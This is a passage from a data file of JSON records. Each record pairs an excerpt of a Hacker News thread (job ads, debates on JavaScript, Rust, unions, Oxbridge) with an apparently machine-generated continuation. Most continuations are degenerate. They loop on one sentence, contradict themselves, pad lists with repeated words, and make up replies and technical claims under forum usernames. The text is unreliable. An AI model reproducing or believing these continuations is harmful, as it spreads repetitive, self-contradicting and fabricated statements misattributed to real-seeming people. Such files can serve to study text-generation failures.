gdb pretty-"} +{"output_text": " it. I was lucky that I didn't\nkill her.\n\n~~~\nChuckNorris89\nI'm sorry to hear that.\n\nI'm not sure if you're in the US or not but in the US you're not allowed to\ndrive if you're under the influence of alcohol or drugs.\n\n~~~\nsystemtest\nI'm in the Netherlands.\n\n------\njedberg\nI'm not sure if this is a good thing or not.", "input_text": " the car was elderly. It\u2019s tough to gauge her age \u2014 pushing\nlate 70s, maybe 80? She said she didn\u2019t notice the girl in the crosswalk.\n\nI was upset. I stayed the entire time, talked with the cops at length, gave a\nstatement. I wanted to see the lady\u2019s license taken away. Or a ticket at\nleast. Or heck, even a talking to about if maybe she\u2019s no longer fit to drive.\n\nThe cops let the old lady drive away. No ticket. No talk. I was stunned.\nSurely if you hit someone with your car at that speed, in fucking crosswalk,\nyou at the very least need to prove to the DMV that you\u2019re safe to drive.\nEspecially if you\u2019re an elderly person. But nope. They said they had no\ngrounds with which to take any action at all.\n\nStill bothers me. I hope that lady hasn\u2019t killed anyone.\n\n~~~\nChuckNorris89\nWait, what!?\n\nIn Europe if you strike a pedestrian on the crosswalk you'll definitely loose\nyour license and be looking at manslaughter charges too while your insurance\ncompany will murder you after paying the victim's medical/disability/court\nbills.\n\n~~~\nsystemtest\nI have hit a pedestrian. Instead of using the nearby crosswalk she walked in\nbetween the cars and when she walked in front of me it was too late for me to\nbrake. She flew a couple of meters and landed on the crosswalk. In the police\nreport is was stated that I hit the person on the crosswalk as I couldn't\nprove otherwise. The woman was taken away in an ambulance due to a broken leg.\n\nI was 16 at the time. Really shaken up about"} +{"output_text": " of women doing amazing things in tech\ntoday.\n\n~~~\njamesblonde\nI think the teacher was right. I think the reason why women are not as\ninfluential in tech is because they are not as interested in it.\n\n~~~\npducks32\nI think that's a great point. I think it's also a great point that women are\nnot as interested in tech because they are not as interested in it.\n\n------\njames", "input_text": "master's death by getting fed there) but that picture of the station staff all\nmourning the dying dog really got me!\n\n \n\u201cWomen invented computer science. WWhy are they behind?\u201d - aaditya001\nhttps://www.theatlantic.com/video/index/519426/how-did-tech-become-so-male-dominated/?single_page=true\n======\nOxitendwe\n>Women invented computer science.\n\nPlease stop pinkwashing history. Women did not invent computer science. Also,\nthe gender gap only needs to be \"fixed\" if it is true that women have an equal\ninterest and potential in computer science, this has not been proven. The push\nfor more women in positions of power in tech (who will thus displace men, and\nknow to whom/what political faction they attribute their success) is a power\ngrab by the American left to seize control of a power and influential industry\nthey can use a tool to advance their interests. This is why there no real push\nfor gender equality in female-majority fields, or non-lucrative/influential\nmale-majority fields, e.g. offshore oil rigging or construction.\n\n------\npducks32\nI once had someone ask in a class of mine why CS is considered such a male\nsubject when all these women seem so influential (Ada Lovelace, Grace Hopper,\nand many more) and the teacher responded: I wouldn't be concerned what other\npeople think now, I'd be more concerned with what you can do today. These\nwomen did incredible things when no one was paying attention. And I've always\nthought that was a great point. I have no doubt based on the stats that tech\nis male dominated but there are a ton"} +{"output_text": "ness to learn new technologies\nand tools\n\nWhat we're looking for\n\nYou are a self-starter who can work independently and as part of a team. You\nare a strong communicator who can clearly articulate your ideas and\nunderstandings. You are a team player who can work well with others and\ncollaborate effectively. You are a problem solver who can identify and\nresolve complex problems. You are a team player who can work effectively with\nothers to achieve common goals", "input_text": " Forerunner Ventures.\n\nWe offer competitive salaries, meaningful equity and generous health, dental\nand vision benefits. If you are a member of an underrepresented group in\ntechnology, we strongly encourage you to apply.\n\nTechnologies: Python, Postgres, WebSockets, React, Redux, ML, etc.\n\nDrop us a note at hi@menschlabs.com with a link to your LinkedIn, a resume, or\nanything else we should know. We\u2019ll get back to you quickly!\n\n\\--\n\np.s. I love working here. The team is smart and talented but also deeply good,\nrespectful, and empathetic.\n\n------\ndekobon\nJoyent | San Francisco or Seattle (Remote Possible)\n\nSenior Solutions Engineer\n\nQualifications\n\n6+ years experience developing software and experience working in more than\none language, one of which is Java (Node.js and Golang experience a plus)\nExperience in deploying and maintaining applications and systems with one or\nmore infrastructure automation and configuration management tools (e.g.: Chef,\nPuppet, Terraform, Packer, Ansible) Awareness of Docker and trends in modern\napplications and operations, including schedulers or orchestrators (e.g.,\nKubernetes, Mesos, Nomad, etc.) Experience deploying and managing both noSQL\ndatabases (e.g., Cassandra) and SQL databases (e.g., MySQL) in production\nExperience designing the architecture of a multi-service application and have\nhelped maintain it in an enterprise setting Experience with AWS core IaaS\nservices (EC2, S3, DynamoDB, VPC) Familiarity with Triton and Manta products\nContributed to an open source project Willing"} +{"output_text": " Oxbridge.\n\nThe Oxbridge system is a bit like the US system in that it is a bit of a\n\"catch 22\" \\- you have to be good at school to get into Oxbridge, but you\ncan't get good at school without being good at school.\n\nThe Oxbridge system is a bit like the US system in that it is a bit of a\n\"catch 22\" \\- you have to be good at school to get into Oxbridge, but you", "input_text": "B0148NNKTC/ref=oh_aui_detailpage_o06_s00?ie=UTF8&psc=1)\n\n \n\nSpeaking of the British - surfingdino\nhttp://c.moreover.com/click/here.pl?z4596068789&z=1250248780\n\n======\nErrantX\nThis is hilarious :) I honestly thought it was a joke... but now I am\nuncertain.. he seems to _genuinely_ think that Britain is like this :S\n\nThe best bit is the wonderful caricature of Oxbridge interviews, as if the\nmodern world is left behind once you step foot in those hallowed halls :D One\nguy at our school that went to Oxford worked like absolute hell to get his\ngrades, pass his entrance exam and pass the exhausting round of interviews (2\ndays, testing all sorts of aptitidue).\n\nSure; the colleges have a tradition of \"sprawling on sofa's\" while enjoying a\nglass of the good stuff. But it is just tradition!\n\n _Aged 18, perhaps hungover, you read out your pitiful but elegant essay. The\ntutor points out gaps in your knowledge. For an hour, you talk your way around\nthose gaps._\n\nHahahahahahahahaha. Ahem. All of the friends I have that went to a really top\nflight university (Oxford, Cambridge, Durham, etc) were basically working flat\nout for their exams from about January every year..\n\n(I was the drunkard.. see \"winging it\" below)\n\n _Traditionally, elite Britons then leave education aged 21. Until recently\nthey rarely bothered with graduate school._\n\nMeh, classic nonsense confusion regarding the British and"} +{"output_text": "\nplaying with the blocks, but now he's building things with them.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I mean, I get that it's a\nphysical representation of code but I don't see how that's any different than\na physical representation of a book.\n\n~~~\njoshstrange\nI guess I'm just not seeing the point of this. I mean, I get that it's a\nphysical", "input_text": " it kinda-sorta works, on some hardware. I really wish they\nwere targeting Debian instead of something as prone-to-broken as Alpine, but\nbeggars can't be choosers.\n\n~~~\nollieparanoid\n> something as prone-to-broken as Alpine\n\nHow do you come to that conclusion? Sure, Alpine's edge repository has\nbreakage, but so does Debian sid.\n\n~~~\nmorganvachon\nAlpine doesn't make for a stable desktop OS, however it was never meant to be\nused on the desktop. I wonder if OP was referring to that.\n\n \nProject Bloks: Making code physical for kids - runesoerensen\nhttps://research.googleblog.com/2016/06/project-bloks-making-code-physical-for.html\n======\nedtechdev\nThere are some more kid-friendly programmable robots/hardware and coding tools\nlisted here:\n[https://docs.google.com/document/d/1r1b2CM1uTdST47IbWa7zlZYm...](https://docs.google.com/document/d/1r1b2CM1uTdST47IbWa7zlZYmbfoqrgYSeym2inUvnFo/edit?usp=sharing)\n\nProject Bloks isn't out yet, but a similar one is littlebits. The ones I've\nused with elementary school aged kids though include Sphero, Edison, and Lego\nWedo, along with software/sites like code.org, Lightbot, and Hopscotch.\n\n~~~\nhamstersoup\nMy 4-year-old is really into The Foos app. In the beginning he was just"} +{"output_text": "-the-memory-\n> function.\n\nI'm not sure I understand this.\n\nI'm not sure I understand the point of the article.\n\n~~~\njussij\nI'm not sure I understand the point of the article.\n\n------\njussij\nI'm not sure I understand the point of the article.\n\nI'm not sure I understand the point of the article.\n\nI'm not sure I understand the point of the article", "input_text": " the scandalous lies about your favorite\neditor note that this is a Verity Stob column. If you're reading it for a\nsober, fair-minded review of the various tradeoffs involved in the very\nserious business of text editing, you're doing it wrong.\n\n~~~\nmichael_h\nI'm not sure how someone can read past\n\n \n \n ...press Ctrl + Shift + L (if you are following along on your Mac, just press squiggle squoggle shift Home)\n \n\nand not pick up that this is _satire_, or perhaps just plain humo(u)r.\n\n~~~\nyen223\nIt's so obviously satire - I mean, which Mac has a Home button amirite?\n\n~~~\nSamuel_Michon\nMy Apple keyboard has a 'Home' key...\n\n[http://km.support.apple.com/library/APPLE/APPLECARE_ALLGEOS/...](http://km.support.apple.com/library/APPLE/APPLECARE_ALLGEOS/HT1216/Pasted%20Graphic.png)\n\n(And of course, all iOS devices have a 'Home' button.)\n\n------\nkaoD\nThe article could've been titled \"I hate emacs for no particular reason\". It's\nprobable more accurate.\n\n------\njussij\n> It turns out that my brain was only fitted with 72 bytes of \"finger memory\";\n> furthermore it turns out to be EPROM, not Flash. I need to wipe out all the\n> WordStar keystrokes from 1986 (Ctrl+Y to delete a line, anyone?) before I\n> can add any more, and I have lost the ultra-violet wiping-out"} +{"output_text": "\n\n~~~\njordanwallwork\nI think it's because it's a bit more verbose.\n\n------\njordanwallwork\nI'm not sure if this is a good idea. I think it's a bit too much like\nJavaScript.\n\n~~~\njordanwallwork\nI'm not sure if this is a good idea. I think it's a bit too much like\nJavaScript.\n\n~~~\njordanwallwork\nI'm not sure if this", "input_text": "\nIshKebab\nI wish javascript had some kind of flag so you could get it to act sanely. All\nthe comparison operators would work like they do in sane languages; type\nconversion wouldn't be _quite_ so automatic and insane, etc.\n\n~~~\njordanwallwork\nIf you just make sure to always use === then this is exactly what happens. You\ncan use tools like jslint to warn you if you accidentally use ==\n\n~~~\nmkolosick\nNot quite though. I had a bug with Javascript where I was reading in a number\nand forgot to parse it to a float. I ended up doing an addition with that\nvalue, which later got used as a float again. So I had 1 + \"10\" turn to 110\nwhen I tried to use it. No == or === anywhere.\n\n~~~\njordanwallwork\nI was only really referring to automatic type conversion for comparisons. That\nsaid, the example you gave sounds like the opposite, where you wanted it to do\nsome auto-conversion and you're disappointed that it didn't? If I did 1 + \"10\"\nI don't think I'd want it to return 11!\n\n~~~\nafandian\nI'd want it to throw some kind of cast exception, personally, not try and do\nwhat it thinks I want. (I'm not the GP)\n\n------\nnabla9\nThis is very limited symbol type. They might have named them keywords instead.\nIt's just interned string with a new type.\n\n(It's like Common Lisp symbols limited inside the keyword package)\n\n------\nwelfare\nI'm not entirely convinced with the function-call syntax for declaring a\nSymbol.\n\nWhy not using something more of the lines with Ruby's :symbol syntax?"} +{"output_text": ".\n\n~~~\nApocryphon\nI don't think that's what management is for. Management is for making\ndecisions that are not directly related to the work of the company.\n\n~~~\nColonelSanders\nI don't think that's what management is for. Management is for making\ndecisions that are not directly related to the work of the company.\n\n~~~\nApocryphon\nI think that's what management is for.\n\n------\n", "input_text": " life easy? Have you walked a mile in their shoes?\n\n> and lack of transparency and inclusion in decision-making around\n> controversial contracts with the U.S. Department of Defense and Immigration\n> and Customs Enforcement (ICE).\n\nThat is not the kind of decision I think employees should be deciding. Though\nif a larger organization wanted to allow someone to move somewhere else in the\norg, that seems fair\n\n~~~\nApocryphon\n> Already unlawful. They are addressable to the NLRB and civil legal system.\n\n> That's vague, but there are protections against this\n\n> Wouldn't it be about defining a standard of what a salaried employee is?\n\nUnions can be an additional safety net/layer of protection/tool against these\ndiscriminations and abuses. In a time when HR departments are often derided as\nexisting to protect the company instead of workers, and it often takes either\nmedia exposure or self-publishing (as with Susan Fowler) for discrimination\nagainst protected classes to be acknowledged, a union could be a place for the\ndiscriminated to turn to where HR reps fail. At least then you don't have to\nhire your own lawyer.\n\n> unequal pay,\n\nThis might be a gender gap criticism meaning unequal pay between workers with\nthe same title but of different genders.\n\n> That is not the kind of decision I think employees should be deciding.\n\nWhy? The stigma of culture war and political battles aside, why shouldn't\nemployees take part in making business decisions in general?\n\n~~~\nColonelSanders\n> Why? The stigma of culture war and political battles aside, why shouldn't\n> employees take part in making business decisions in general?\n\nBasically, no.\n\nThat's what's management is for"} +{"output_text": "/580826)\n\n\\+ Product Manager:\n[http://boards.greenhouse.io/hologram/jobs/580825](http://boards.greenhouse.io/hologram/jobs/580825)\n\n\\+ Product Designer:\n[http://boards.greenhouse.io/hologram/jobs/580824](http://boards.greenhouse.io/hologram/jobs/580824)\n\n", "input_text": "http://boards.greenhouse.io/hologram)\n\nOur mission is to build _the_ platform for creating connected products by\ntackling some of the hardest challenges at the intersections of hardware,\nconnectivity, and software.\n\nAt Hologram, we believe in you and your immediate squad members to know what's\nbest for our platform and enable you to make immediate customer-impacting\ndecisions. You can see this in how we develop products and processes: Hologram\npushes decision-making out to the edges of the organization to reduce\nmanagement overhead and increase speed to market.\n\nWe have a number of open positions and would love to hear from you!\n\n\\+ Embedded Systems Engineer:\n[http://boards.greenhouse.io/hologram/jobs/561434](http://boards.greenhouse.io/hologram/jobs/561434)\n__*Remote Available\n\n\\+ Full Stack Cloud Engineer:\n[http://boards.greenhouse.io/hologram/jobs/562395](http://boards.greenhouse.io/hologram/jobs/562395)\n\n\\+ Full Stack Engineer:\n[http://boards.greenhouse.io/hologram/jobs/562369](http://boards.greenhouse.io/hologram/jobs/562369)\n\n\\+ Customer Success Engineer:\n[http://boards.greenhouse.io/hologram/jobs/541597](http://boards.greenhouse.io/hologram/jobs/541597)\n\n\\+ Product Designer:\n[http://boards.greenhouse.io/hologram/jobs/580826](http://boards.greenhouse.io/hologram/jobs"} +{"output_text": " a pretty common use\ncase.\n\n------\njimmyvalmer\nI've been using Python for web development for about 10 years now. I've\nwritten a few web apps in Python, and I've also used it for a few internal\nprojects.\n\nI've found that Python is a great language for web development. It's easy to\nlearn, and it's easy to get things done.\n\nI've found that Python is a great language for web development", "input_text": "~~~\nAdamJacobMuller\nThe first programming work I ever did was with CGI, about 25 years ago,\nwriting bash scripts to control playing MP3s using webmin's HTTP server (I\nthink Apache was too complex for me to figure out how to setup at the time).\n\nI'd be lying if I said I was't a bit sad that we've gone so far that CGI isn't\neven in the thought process for this problem.\n\n------\ncaptn3m0\ncool hack, but remember to turn this off at untrusted networks.\n\n~~~\nblack3r\nor just add a https proxy before it before it..., even better, use a https\ntunnel service like ngrok to allow automating stuff from anywhere not only\nfrom your local LAN.\n\n \nAsk HN: How popular is Python for web applications? - 3dfan\nPython has seen crazy growth over the last 5 years:

https://trends.google.com/trends/explore?date=all&q=php,javascript,python,ruby

Is that because everyone and their dog are now writing AI software, or is it also widely used for other areas?

In particular, I would be interested how popular it is to write web applications in Python these days.\n======\njamil7\nDjango is used widely for CRUD apps or any area you'd typically use Rails.\nFlask is also a popular option among developers and theres been a few new\ngeneration python microframeworks focused around ASGI popup in the last few\nyears. I haven't used it for years but my girlfriend uses it heavily for\nscientific computing and data science which is I'd say"} +{"output_text": "Rails, Golang, Docker, Postgres,\nRedis) and Customer Success Engineers (Rails, Golang, Docker, Postgres, Redis)\n\nWe are looking for people who are passionate about building great software\nand want to work with a small, smart, and talented team.\n\nIf you are interested, please email me at jim@codeship.com\n\n------\njason_slack\nSlack | San Francisco, CA | Full", "input_text": " well as orchestration and automation via Packer, Consul, Terraform\nand Ansible. chaag)at(agari[dot|com\n\n------\ndispatchai\nDispatch | [http://dispatch.ai/](http://dispatch.ai/) | San Francisco Bay\nArea, CA | Full-time, onsite\n\nWe are Dispatch (dispatch.ai), a well-funded startup that is creating a\nplatform for local delivery powered by a fleet of autonomous vehicles designed\nfor sidewalks and pedestrian spaces.\n\nWe're bringing together a team with deep domain expertise in robotics,\nautonomous vehicles, and artificial intelligence. If you're interested in\njoining us for work on this exciting technology and help create the future of\nautonomous vehicles, we'd love to hear from you.\n\nRoles we are hiring for include:\n\nSoftware Engineer - Motion Planning and Controls\n\nSoftware Engineer - Perception\n\nSoftware Engineer - Mapping and Localization\n\nSoftware - Generalist\n\nHardware - Electrical\n\nHardware - Embedded/Firmware\n\nContact us at jobs-hackernews@dispatch.ai!\n\nOr apply through our listing on AngelList\n([https://angel.co/dispatch-6/](https://angel.co/dispatch-6/)).\n\n------\njimschley\nCodeship | Boston | Full-time | REMOTE | Software Engineering and Customer\nSuccess\n\nCodeship is a hosted continuous integration and delivery service. Our mission\nis to accelerate software development teams. Our stack is a\nRails/Postgres/Redis webapp and a Golang microservice and Docker-based elastic\nbuild infrastructure. [https://codeship.com](https://codeship.com)\n\nCodeship is hiring Software Engineers ("} +{"output_text": "jarsin\nI'm not saying that Google is the only place hiring coders. I'm saying that\nGoogle is the only place that I've seen that asks you to write a self-balancing\nbinary search tree off the cuff.\n\n~~~\nhirundo\nI'm not saying that Google is the only place hiring coders. I'm saying that\nGoogle is the only place that I've seen that asks you to write a self-balancing\nbinary search tree off", "input_text": " looking for rockstars, just someone with some familiarity with.NET\nMVC.\n\nEdit: We're in the UK, FWIW.\n\n~~~\nbvm\nI feel your pain. Trying to hire perm in London at the moment is a real\nchallenge, even with a recruiter. Contractor rates are obscene (5-8x perm).\nRecruiting and retaining is what keeps me awake at night over and above any\ntech issues that I'm working on.\n\n~~~\nuser5994461\nHow little are you paying your dev that it can be 1/8th of a contractor?\n\nEven the cheapest dev I have ever met in London wasn't as low as 1/5th of the\nmost expensive contractor I have met.\n\n~~~\nbvm\nAh yeh, sorry, my mental maths strayed a bit into hyperbole there, it's more\nlike 4-5x\n\n~~~\nuser5994461\nHow much are you trying to pay your dev that it can be 1/5th of a contractor?\nIt's no wonder you're having trouble finding anyone.\n\n------\njarsin\nI think tons of experienced people that love programming moved on because of\nthe \"Google Interview\".\n\nYou got all this experience and love making stuff for users, but you don't\nknow the \"insert trick of the week\" to solve the latest \"elite\" programming\nquestion. Bye Bye. No more jobs for you.\n\n~~~\nhirundo\nTurns out that Google isn't the only outfit hiring coders. I could never have\npassed their interview but I've had a long career making a good living working\nfor companies that never asked me to write a self-balancing binary search tree\noff the cuff.\n\n~~~\n"} +{"output_text": " attention to the release notes\nyou can get a pretty good idea of what's going on.\n\n------\nkibwen\nThe Rust team is also working on a new version of the compiler, which will\nallow us to compile Rust code to WebAssembly. This will allow us to run Rust\ncode in the browser, which is a huge step towards making Rust a first-class\nlanguage for web development.\n\n~~~\nsteveklabnik\nI'm really excited about", "input_text": " software to configure, not two or\nthree).\n\n------\nportmanteaufu\nCongrats on all the progress, guys! I'm really looking forward to getting to\nwork with Rust. I have a couple of questions:\n\nIs the new fixed-stack FFI arrangement the end goal, or is it a stepping stone\nto a different system? It seems as though always using a big, fixed stack\nwould cause performance/memory issues. Could the compiler detect which Rust\nfn's call extern \"C\" functions so I don't have to write annotations? Thanks!\n\n~~~\nkibwen\nFixed-stack is not the end goal. The intent is to migrate back towards small,\ngrowable stacks.\n\nThere were long discussions over how \"smart\" the extern stack-size strategy\nshould be. The current arrangement is, as ever, a compromise. In practice,\nmost people writing bindings to C from Rust will wrap the C call into a very\nthin wrapper function whose job is to handle type conversions and managing the\nnecessary `unsafe` bits. The hope is that putting the annotation on these\nwrapper functions won't be very onerous, with the result that any Rust code\nthat calls the wrapper functions won't ever have to bothered with remembering\nthe annotations.\n\n~~~\nportmanteaufu\nMakes sense, thanks! As an outsider it can be tricky to know which things in\nthe release notes are \"This feature is ready\" vs \"This is simply the present\nstate of things.\"\n\n~~~\nsteveklabnik\nRust is basically entirely 'this is simply the present state of things.' :)\n\n~~~\nchrismorgan\nPlus there's also rather a lot of non-codified knowledge about what's\nhappening and going to happen. But if you pay"} +{"output_text": " saying so.\n\n------\njoejohnson\nI think the author is missing the point. The app store is a platform for\ndevelopers to sell their apps. The app store is not a platform for developers\nto sell their apps.\n\n------\njoejohnson\nI think the author is missing the point. The app store is a platform for\ndevelopers to sell their apps. The app store is not a platform for developers\nto sell their apps.\n", "input_text": " seem to suggest otherwise.\n\n------\nprpatel\nThere's one thing that everyone has missed so far, and I've said it to anyone\nwho will listen: free apps are undermining both the app store(s) and the\ndeveloper. Before you brush me off as crazy, please think it through...\n\n~~~\ndrbarnard\nI started to reply to your comment and ended up writing a whole blog post in\nagreement: \n\n------\njemeshsu\nApp programmers are turning into like recording artists, where tunes are at\n99cents a pop. The only way to survive then is to have hit app, like in hit\nsongs. Maybe there will be a billboard type of chart for apps soon.\n\n~~~\nrogerchucker\nIf you wanna stick to that analogy, what would be the equivalent of a \"live\nconcert\" in the app world?\n\n------\nNameNickHN\nIt has nothing to do with pricing in itself and all with competition. Look at\nthe gps navigation software. They cost more than the average app. Obviously\nbecause there is no real or very little competition in that area.\n\n~~~\ngeon\nMap databases are very expensive. You can't just use Google Maps for\nnavigation, because of the licensing.\n\n------\ndrbarnard\nI just finished a followup post, since the one originally linked is over 2\nyears old.\n\n\n\n------\ngcanyon\nEveryone realizes this article is from 2009, right?\n\n------\nhuhtenberg\nThat's a very well designed blog if you don't mind me"} +{"output_text": "and-openstack/\n\n======\ngarethr\nI've been working with Rackspace for a few years now, and I've been very\nimpressed with their service.\n\nI've been working on a project that uses OpenStack, and I've been very\nimpressed with the service.\n\nI've been working with Rackspace for a few years now, and I've been very\nimpressed with their service.\n\nI've been working on", "input_text": "As for just using a single EC2 instance and RDS... that is something you can\ndo, but not everyone's workload is so simple that they can run it on one\nmachine. And not everyone can afford do be down simply because one AZ is down.\nHence, multi-AZ VPC setups.\n\n \n\nAsk HN: Good introductory article on source control - jasonkester\n\nI've recently joined a new project owned by a developer who has never used source control. I've suggested moving the project onto Subversion, but am starting to get the first signs of pushback.

I think we're still at the \"what's in it for me\" stage here, and I'm pretty sure that I'd blunder any attempt at direct advocacy, so I'd rather simply forward a URL that lays out the case for using version control and let this developer reach his own conclusions.

I've been looking around, but all the intro SVN docs I've found seem to give a brief single paragraph intro to SCC before diving into either how to set up a repository, or \"why CVS sucks and SVN is awesome.\" Can anybody recommend anything good?

(I'll send across the Joel Test in due time, but I think we might need to do some softening up first...)\n======\nananthrk\nSeries of articles written by Eric Sink\n\n\nHe is also currently working a book on the same topic. A lot of his recent\narticles are about his experiments with various version control systems and\nare worth a look.\n\n \n\nWhy I Left Rackspace and What About OpenStack - garethr\nhttp://dendrobates.wordpress.com/2011/03/22/rackspace-"} +{"output_text": " that.\n\nInstead, please apply through the usual channels:\n\n[https://www.gatecoin.io/careers/](https://www.gatecoin.io/careers/)\n\n[https://www.gatecoin.io/jobs/](https://www.gatecoin.io/jobs/)\n\n[https://www.gatecoin.io/jobs/gatecoin-\njobs/](https://www.gatecoin.io/jobs/gatecoin-jobs", "input_text": ", Mobile (soonish via Xamarin)\n\nb) QA (using NUnit, canopy, etc)\n\nc) DevOps (using Ansible+Linux+GitLabCI)\n\nd) Hybrid roles of the above\n\nOur production environments are Debian, using technologies such as Redis and\nMySQL.\n\nOur codebase is leaning more and more towards functional programming, in\nparticular F#.\n\nGet in contact to know more at andres at gatecoin dot com, using the subject\n\"Interested in Gatecoin roles\".\n\nWe help with sponsorship/relocation to Hong Kong.\n\nSome nice perks we have:\n\n\\- 10% of \"free to tinker\" time\n\n\\- 10% of remote work time allowed\n\n\\- International (more than 10 nationalities in same office), friendly work\nenvironment\n\nWant to make a difference in the blockchain space? Join like-minded people and\nwork together to bring about the decentralized financial revolution!\n\n~~~\nKrishnaKanhaiya\nHi, I am a master's student pursuing Mathematics & Computer Science at the\nIndian Institute of Technology (IIT) Kharagpur with specialization in\noptimization. I am also a Google Summer of Code, 2016 fellow. I will be\ngraduating in April, 2017. I am interested in the job profile. I am attaching\nthe link to my webpage : [https://ayush-iitkgp.github.io/](https://ayush-\niitkgp.github.io/)\n\nDo revert back if you find me a good fit.\n\n~~~\nStratoscope\nHi Krishna, welcome to \"Who is hiring?\"\n\nJust FYI, applying directly here in the thread isn't how it's done. Imagine if\neveryone did"} +{"output_text": ", but I think the problem is that Wall Street is not a market.\n\n~~~\nchasingsparks\nI agree.\n\n------\njoshu\nI think the problem is that the people who are making the money are not\nactually the people who are making the decisions.\n\n------\njoshu\nI think the problem is that the people who are making the money are not\nactually the people who are making the decisions.\n\n------\njosh", "input_text": " forfeiture of their soul. Is it\n100% rational or true? No, as he adroitly pointed out. But it is strategic and\naccretive to the startup ecosystem for us to talk such shit. It is marketing\nin its most pure and basic form.\n\n------\nubernostrum\nLet's make a deal: I'll stop shitting on them when they stop shitting on me.\n\n------\nchasingsparks\nThanks for writing this; it's been bothering me for sometime now.\n\nCommonly, the arguments are Wall Street \"doesn't create value,\" \"merely moves\nmoney from A to B,\" or \"just exists to extract wealth.\" Wall Street produces\npricing information. Wall Street produces this pricing information by moving\nmoney in markets from A to B, and extracting _some_ money as payment. All\nbusinesses exist to extract money from somewhere!\n\nGood pricing information is extremely valuable. Bad pricing information is\ndevastating. We just had a crisis caused by bad pricing information that had\nmultiple origins, including Wall Street. However, the majority of the\ninformation produced by Wall Street is still good.\n\nWall Street gets the brunt of the animosity because Wall Streeters make a lot\nof money. Furthermore, there is a severe asymmetry between positive and\nnegative perceptions. When markets are well-functioning, their success is\neasily obscured; When markets are poorly functioning, their failure is center-\nstage.\n\nBefore someone accuses me of conflating Wall Street with markets in general, I\nwould like to counter that Wall Streeters are the maintenance men of markets.\nSome of those out-sized returns on short-term trading operations help pay for\nthe fundamental research that helps produce good pricing information.\n\n~~~\ndasil003\nYou're right"} +{"output_text": "\nmlevental\ni mean i'm not saying this is a bad paper, i'm just saying it's a bit\nunexpected to see so many authors.\n\n~~~\nmlevental\ni mean i'm not saying this is a bad paper, i'm just saying it's a bit\nunexpected to see so many authors.\n\n------\nmlevental\ni'm not sure why this is getting downvoted. this is a pretty interesting\n", "input_text": " the results with the circuit in Fig. 2._\n\n\" _Using the simulator, this circuit produces the correct answer x = (1, 1)\nevery time. We executed 1,024 shots using the ibmqx4 and x = (1, 1) was\nobtained 662 times with (0, 0), (0, 1), and (1, 0) occurring 119, 101,\nand 142 times respectively. This indicates that the probability of obtaining\nthe correct answer is approximately 65%. The deviation between the simulator\nand the quantum computer is apparently due to the depth of the circuit\ncombined with the approximate nature of the quantum computer. We note that our\nfirst implementation of this algorithm which used a Toffoli gate with a depth\nof 23 (compared to a depth of 13 here) obtained the correct answer 48% of the\ntime._ \"\n\n\" _We designed a circuit that implements an instance of Grover\u2019s algorithm for\nan IBM 5-qubit quantum computer. The outcome was successful in the sense that\nthe quantum computer successfully completed the search with a probability that\nis appreciably greater than 50%. However, the 65% success rate that was\nobtained is much lower than the 100% that is obtained by the simulator. Deeper\nand more complex oracles would likely produce less satisfactory results, and\nthis is in line with our experience implementing the oracle with a deeper\nimplementation of the Toffoli gate._ \"\n\nI'm still not sure how measurement of quantum computing results works, and\nthis isn't helping.\n\n------\nmlevental\nthis isn't related to the paper's content but why in the world are there so\nmany authors? i mean if it were an experimental paper i wouldn't be surprised\nbut this is theory (or at the least exposition).\n\n~~~"} +{"output_text": "#, Java, Python, SQL, Linux, AWS, Docker, Kubernetes,\nKafka, Spark, Hadoop, Cassandra, Elasticsearch, Redis, MongoDB, PostgreSQL,\nMySQL, Docker, Kubernetes, AWS, Docker, Kubernetes, AWS, Docker, Kubernetes,\nAWS, Docker, Kubernetes, AWS, Docker, Kubernetes, AWS, Docker, Kubernetes,\nAWS, Docker, Kubernetes, AWS, Docker, Kubernetes, AWS, Docker, Kubernetes", "input_text": "com/in/camilogiraldo91/\n\nEmail: camilogiraldo91@gmail.com\n\n------\nvouhardy\nLocation: London\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Audio technologies such as JUCE, AudioKit. Swift, JS, Python,\nC/C++, RabbitMQ, AWS\n\nEmail: can@ince.io\n\nR\u00e9sum\u00e9: email me for a copy or see ince.io\n\n7 years in tech, have done big media projects and built big scale stacks,\ninterested in early-stage startups solving interesting problems\n\n------\nthoughtpalette\nSenior Front-End Engineer, Architect Nine years of client side development\nexperience\n\nLocation: Chicago IL\n\nRemote: Preferred\n\nWilling to relocate: No\n\nTechnologies: JS, TS, CSS, HTML, SPAs, Angular, etc\n\nResume: By Request\n\nEmail: ${hnUserName}chris@gmail.com\n\nSite: [https://thoughtpalette.com](https://thoughtpalette.com)\n\n------\njoshmanders\nLocation: Dubuque, Iowa, USA\n\nRemote: Required, but willing to travel periodically.\n\nWilling to relocate: Can't due to responsibilities.\n\nTechnologies: Node.js, React, React-Native, GraphQL, Vue, TypeScript,\nPostgreSQL, Docker, Microservices, Kubernetes.\n\nR\u00e9sum\u00e9/CV: Available upon request.\n\nEmail: josh@joshmanders.com\n\n------\njsta2020\nLocation: San Francisco\n\nRemote: Yes, flexible\n\nWilling to relocate: No\n\nTechnologies: C"} +{"output_text": ")\n\n~~~\nbdcravens\nI'm not sure that's a fair comparison. Chelsea was sentenced under the\nadministration of a different president.\n\n------\nmarcoperaza\nI'm not sure why this is being downvoted. It's a very important issue.\n\n~~~\nmarcoperaza\nI'm not sure why this is being downvoted. It's a very important issue.\n\n~~~\nmarcoperaza\nI'm not", "input_text": " elected it would've been business as usual, everyone would've gone\nback to their bread and circuses. Not now though.\n\nRegardless of what you think of Clinton Trump was a far worse alternative on\nevery measure. Trump will be able to dramatically change the supreme court and\nUS federal legislation as well. Complaining about Clinton/Obama doesn't change\nthe simple fact that he is far to the right on her on almost every issue.\n\n>>Sidenote: Trump has already swung moderate, deciding to stick with NATO [2]\nand keeping most of the ACA after speaking with Obama [3]. Maybe he doesn't\nstick to those ideals, but its clear Trump the president may not be as bad as\nTrump the person. I have hope, but I had hope for Sanders as well. (Excitingly\nenough, the /r/SandersForPresident subreddit was reactived today, with ~210k\nactive subscribers).\n\nTrump _CANT_ keep most of ACA even if he wanted to keep the _good parts._ The\nexpansion of coverage is paid and supported by the entirety of the law, it\ndoesn't work without all the provisions.\n\n------\nbdcravens\nChelsea was sentenced in 2013, well under the influence of the Obama\nadministration. (Ditto for the leaks, in 2010) Typically the presidential\npardons we see are the last minute stamp of ideology, not undoing of their\nlegacy.\n\n~~~\nmarcoperaza\nOr if you're Bill Clinton, some last minute corruption. 